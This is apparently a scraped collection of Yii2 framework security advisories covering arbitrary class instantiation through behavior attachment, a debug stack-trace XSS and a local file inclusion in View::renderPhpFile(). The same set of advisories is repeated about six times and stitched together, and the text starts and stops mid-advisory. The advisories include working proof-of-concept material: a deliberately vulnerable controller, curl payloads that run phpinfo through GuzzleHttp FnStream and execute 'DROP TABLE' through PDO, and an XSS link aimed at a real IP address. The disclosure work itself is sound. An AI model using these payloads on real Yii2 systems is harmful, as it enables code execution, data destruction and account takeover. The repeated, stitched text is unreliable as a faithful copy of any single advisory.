• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration.

Impact

It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).

The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.

Occurrences

Component.php L191

During the internal penetration testing of our product based on Yii2, we discovered an XSS vulnerability within the framework itself. This issue is relevant for the latest version of Yii2 (2.0.49.3).

Conditions for vulnerability reproduction

• The framework is in debug mode (YII_DEBUG set to true).
• The php.ini setting zend.exception_ignore_args is set to Off (default value).
• An attacker induces an exception in the application, leading to a stack trace page being displayed.

Vulnerability description

The issue lies in the mechanism for displaying function argument values in the stack trace. The vulnerability manifests when an argument's value exceeds 32 characters. For convenience, argument values exceeding this limit are truncated and displayed with an added "...". The full argument value becomes visible when hovering over it with the mouse, as it is displayed in the title attribute of a span tag. However, the use of a double quote (") allows an attacker to break out of the title attribute's value context and inject their own attributes into the span tag, including malicious JavaScript code through event handlers such as onmousemove.

Demonstration example: http://31.184.254.143/about/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%22%20onmousemove=alert(1)%20style=%22width:%20100000px;%20height:%20100000px;%20position:%20absolute;%20top:%20-10000px;%20left:%200;%22

Impact of the vulnerability

This vulnerability allows an attacker to execute arbitrary JavaScript code in the security context of the victim's site via a specially crafted link. This could lead to the theft of cookies (including httpOnly cookies, which are accessible on the page), content substitution, or complete takeover of user accounts.

Technical analysis and mitigation suggestion

Upon analyzing the framework's source code, it was found that data handling for the title attribute is performed in the file framework/web/ErrorHandler.php. The identified problem is related to changes made in the commit https://github.com/yiisoft/yii2/commit/8cc9aeb2f0b2ffe02fb54a817064e9da75512706 , which led to the disabling of encoding for single and double quotes in the htmlEncode method (https://github.com/yiisoft/yii2/blob/8cc9aeb2f0b2ffe02fb54a817064e9da75512706/framework/web/ErrorHandler.php#L183) due to the addition of the ENT_NOQUOTES flag. To address this issue while preserving the functionality intended by the commit, we suggest modifying the htmlEncode method as follows:

    return htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');

This change will effectively prevent the XSS vulnerability while maintaining the targeted functionality of the previous changes.

Conclusion

Based on the above, we strongly recommend implementing the suggested changes to the project's main code as soon as possible to protect framework users from potential attacks. I am ready to provide further information or assistance, including creating a pull request if necessary.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration.

Impact

It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).

The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.

Occurrences

Component.php L191

During the internal penetration testing of our product based on Yii2, we discovered an XSS vulnerability within the framework itself. This issue is relevant for the latest version of Yii2 (2.0.49.3).

Conditions for vulnerability reproduction

• The framework is in debug mode (YII_DEBUG set to true).
• The php.ini setting zend.exception_ignore_args is set to Off (default value).
• An attacker induces an exception in the application, leading to a stack trace page being displayed.

Vulnerability description

The issue lies in the mechanism for displaying function argument values in the stack trace. The vulnerability manifests when an argument's value exceeds 32 characters. For convenience, argument values exceeding this limit are truncated and displayed with an added "...". The full argument value becomes visible when hovering over it with the mouse, as it is displayed in the title attribute of a span tag. However, the use of a double quote (") allows an attacker to break out of the title attribute's value context and inject their own attributes into the span tag, including malicious JavaScript code through event handlers such as onmousemove.

Demonstration example: http://31.184.254.143/about/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%22%20onmousemove=alert(1)%20style=%22width:%20100000px;%20height:%20100000px;%20position:%20absolute;%20top:%20-10000px;%20left:%200;%22

Impact of the vulnerability

This vulnerability allows an attacker to execute arbitrary JavaScript code in the security context of the victim's site via a specially crafted link. This could lead to the theft of cookies (including httpOnly cookies, which are accessible on the page), content substitution, or complete takeover of user accounts.

Technical analysis and mitigation suggestion

Upon analyzing the framework's source code, it was found that data handling for the title attribute is performed in the file framework/web/ErrorHandler.php. The identified problem is related to changes made in the commit https://github.com/yiisoft/yii2/commit/8cc9aeb2f0b2ffe02fb54a817064e9da75512706 , which led to the disabling of encoding for single and double quotes in the htmlEncode method (https://github.com/yiisoft/yii2/blob/8cc9aeb2f0b2ffe02fb54a817064e9da75512706/framework/web/ErrorHandler.php#L183) due to the addition of the ENT_NOQUOTES flag. To address this issue while preserving the functionality intended by the commit, we suggest modifying the htmlEncode method as follows:

    return htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');

This change will effectively prevent the XSS vulnerability while maintaining the targeted functionality of the previous changes.

Conclusion

Based on the above, we strongly recommend implementing the suggested changes to the project's main code as soon as possible to protect framework users from potential attacks. I am ready to provide further information or assistance, including creating a pull request if necessary.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration.

Impact

It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).

The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.

Occurrences

Component.php L191

During the internal penetration testing of our product based on Yii2, we discovered an XSS vulnerability within the framework itself. This issue is relevant for the latest version of Yii2 (2.0.49.3).

Conditions for vulnerability reproduction

• The framework is in debug mode (YII_DEBUG set to true).
• The php.ini setting zend.exception_ignore_args is set to Off (default value).
• An attacker induces an exception in the application, leading to a stack trace page being displayed.

Vulnerability description

The issue lies in the mechanism for displaying function argument values in the stack trace. The vulnerability manifests when an argument's value exceeds 32 characters. For convenience, argument values exceeding this limit are truncated and displayed with an added "...". The full argument value becomes visible when hovering over it with the mouse, as it is displayed in the title attribute of a span tag. However, the use of a double quote (") allows an attacker to break out of the title attribute's value context and inject their own attributes into the span tag, including malicious JavaScript code through event handlers such as onmousemove.

Demonstration example: http://31.184.254.143/about/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%22%20onmousemove=alert(1)%20style=%22width:%20100000px;%20height:%20100000px;%20position:%20absolute;%20top:%20-10000px;%20left:%200;%22

Impact of the vulnerability

This vulnerability allows an attacker to execute arbitrary JavaScript code in the security context of the victim's site via a specially crafted link. This could lead to the theft of cookies (including httpOnly cookies, which are accessible on the page), content substitution, or complete takeover of user accounts.

Technical analysis and mitigation suggestion

Upon analyzing the framework's source code, it was found that data handling for the title attribute is performed in the file framework/web/ErrorHandler.php. The identified problem is related to changes made in the commit https://github.com/yiisoft/yii2/commit/8cc9aeb2f0b2ffe02fb54a817064e9da75512706 , which led to the disabling of encoding for single and double quotes in the htmlEncode method (https://github.com/yiisoft/yii2/blob/8cc9aeb2f0b2ffe02fb54a817064e9da75512706/framework/web/ErrorHandler.php#L183) due to the addition of the ENT_NOQUOTES flag. To address this issue while preserving the functionality intended by the commit, we suggest modifying the htmlEncode method as follows:

    return htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');

This change will effectively prevent the XSS vulnerability while maintaining the targeted functionality of the previous changes.

Conclusion

Based on the above, we strongly recommend implementing the suggested changes to the project's main code as soon as possible to protect framework users from potential attacks. I am ready to provide further information or assistance, including creating a pull request if necessary.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration.

Impact

It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).

The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.

Occurrences

Component.php L191

During the internal penetration testing of our product based on Yii2, we discovered an XSS vulnerability within the framework itself. This issue is relevant for the latest version of Yii2 (2.0.49.3).

Conditions for vulnerability reproduction

• The framework is in debug mode (YII_DEBUG set to true).
• The php.ini setting zend.exception_ignore_args is set to Off (default value).
• An attacker induces an exception in the application, leading to a stack trace page being displayed.

Vulnerability description

The issue lies in the mechanism for displaying function argument values in the stack trace. The vulnerability manifests when an argument's value exceeds 32 characters. For convenience, argument values exceeding this limit are truncated and displayed with an added "...". The full argument value becomes visible when hovering over it with the mouse, as it is displayed in the title attribute of a span tag. However, the use of a double quote (") allows an attacker to break out of the title attribute's value context and inject their own attributes into the span tag, including malicious JavaScript code through event handlers such as onmousemove.

Demonstration example: http://31.184.254.143/about/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%22%20onmousemove=alert(1)%20style=%22width:%20100000px;%20height:%20100000px;%20position:%20absolute;%20top:%20-10000px;%20left:%200;%22

Impact of the vulnerability

This vulnerability allows an attacker to execute arbitrary JavaScript code in the security context of the victim's site via a specially crafted link. This could lead to the theft of cookies (including httpOnly cookies, which are accessible on the page), content substitution, or complete takeover of user accounts.

Technical analysis and mitigation suggestion

Upon analyzing the framework's source code, it was found that data handling for the title attribute is performed in the file framework/web/ErrorHandler.php. The identified problem is related to changes made in the commit https://github.com/yiisoft/yii2/commit/8cc9aeb2f0b2ffe02fb54a817064e9da75512706 , which led to the disabling of encoding for single and double quotes in the htmlEncode method (https://github.com/yiisoft/yii2/blob/8cc9aeb2f0b2ffe02fb54a817064e9da75512706/framework/web/ErrorHandler.php#L183) due to the addition of the ENT_NOQUOTES flag. To address this issue while preserving the functionality intended by the commit, we suggest modifying the htmlEncode method as follows:

    return htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');

This change will effectively prevent the XSS vulnerability while maintaining the targeted functionality of the previous changes.

Conclusion

Based on the above, we strongly recommend implementing the suggested changes to the project's main code as soon as possible to protect framework users from potential attacks. I am ready to provide further information or assistance, including creating a pull request if necessary.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration.

Impact

It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).

The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.

Occurrences

Component.php L191

During the internal penetration testing of our product based on Yii2, we discovered an XSS vulnerability within the framework itself. This issue is relevant for the latest version of Yii2 (2.0.49.3).

Conditions for vulnerability reproduction

• The framework is in debug mode (YII_DEBUG set to true).
• The php.ini setting zend.exception_ignore_args is set to Off (default value).
• An attacker induces an exception in the application, leading to a stack trace page being displayed.

Vulnerability description

The issue lies in the mechanism for displaying function argument values in the stack trace. The vulnerability manifests when an argument's value exceeds 32 characters. For convenience, argument values exceeding this limit are truncated and displayed with an added "...". The full argument value becomes visible when hovering over it with the mouse, as it is displayed in the title attribute of a span tag. However, the use of a double quote (") allows an attacker to break out of the title attribute's value context and inject their own attributes into the span tag, including malicious JavaScript code through event handlers such as onmousemove.

Demonstration example: http://31.184.254.143/about/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%22%20onmousemove=alert(1)%20style=%22width:%20100000px;%20height:%20100000px;%20position:%20absolute;%20top:%20-10000px;%20left:%200;%22

Impact of the vulnerability

This vulnerability allows an attacker to execute arbitrary JavaScript code in the security context of the victim's site via a specially crafted link. This could lead to the theft of cookies (including httpOnly cookies, which are accessible on the page), content substitution, or complete takeover of user accounts.

Technical analysis and mitigation suggestion

Upon analyzing the framework's source code, it was found that data handling for the title attribute is performed in the file framework/web/ErrorHandler.php. The identified problem is related to changes made in the commit https://github.com/yiisoft/yii2/commit/8cc9aeb2f0b2ffe02fb54a817064e9da75512706 , which led to the disabling of encoding for single and double quotes in the htmlEncode method (https://github.com/yiisoft/yii2/blob/8cc9aeb2f0b2ffe02fb54a817064e9da75512706/framework/web/ErrorHandler.php#L183) due to the addition of the ENT_NOQUOTES flag. To address this issue while preserving the functionality intended by the commit, we suggest modifying the htmlEncode method as follows:

    return htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');

This change will effectively prevent the XSS vulnerability while maintaining the targeted functionality of the previous changes.

Conclusion

Based on the above, we strongly recommend implementing the suggested changes to the project's main code as soon as possible to protect framework users from potential attacks. I am ready to provide further information or assistance, including creating a pull request if necessary.

The core view rendering method View::renderPhpFile() calls extract($_params_, EXTR_OVERWRITE) before the require statement that includes the view file. A caller-controlled parameter named _file_ in the $params array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive.

Impact

• Local File Inclusion (arbitrary file read via non-PHP files)
• Potential RCE if attacker can write PHP files via a separate primitive
• Information disclosure

Patches

2.0.55

Workarounds

No.

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.